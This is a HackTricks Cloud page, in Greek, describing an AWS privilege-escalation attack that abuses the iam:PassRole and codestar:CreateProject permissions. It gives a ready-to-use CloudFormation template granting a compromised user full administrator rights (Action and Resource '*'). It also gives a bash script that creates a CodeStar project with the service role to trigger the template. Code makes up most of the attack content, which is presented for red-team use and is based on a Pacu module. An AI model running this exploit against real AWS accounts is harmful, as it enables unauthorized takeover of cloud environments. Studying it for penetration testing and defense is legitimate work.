iam:PassRole, codestar:CreateProject
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Με αυτές τις άδειες μπορείτε να καταχραστείτε έναν ρόλο IAM codestar για να εκτελέσετε τυχαίες ενέργειες μέσω ενός cloudformation template.
Για να εκμεταλλευτείτε αυτό, πρέπει να δημιουργήσετε ένα S3 bucket που είναι προσβάσιμο από τον επιτιθέμενο λογαριασμό. Ανεβάστε ένα αρχείο με όνομα toolchain.json. Αυτό το αρχείο θα πρέπει να περιέχει την εκμετάλλευση cloudformation template. Το παρακάτω μπορεί να χρησιμοποιηθεί για να ορίσετε μια διαχειριζόμενη πολιτική σε έναν χρήστη υπό τον έλεγχό σας και να του δώσετε δικαιώματα διαχειριστή:
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": ["<compromised username>"]
}
}
}
}
Επίσης ανέβασε αυτό το empty zip αρχείο στο bucket:
Θυμήσου ότι το bucket με τα δύο αρχεία πρέπει να είναι προσβάσιμο από τον λογαριασμό του θύματος.
Με τα δύο πράγματα ανεβασμένα, μπορείς τώρα να προχωρήσεις στην εκμετάλλευση δημιουργώντας ένα codestar project:
PROJECT_NAME="supercodestar"
# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH
# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
Αυτή η εκμετάλλευση βασίζεται στην εκμετάλλευση Pacu αυτών των δικαιωμάτων: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Σε αυτό μπορείτε να βρείτε μια παραλλαγή για να δημιουργήσετε μια πολιτική διαχείρισης διαχειριστή για έναν ρόλο αντί για έναν χρήστη.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

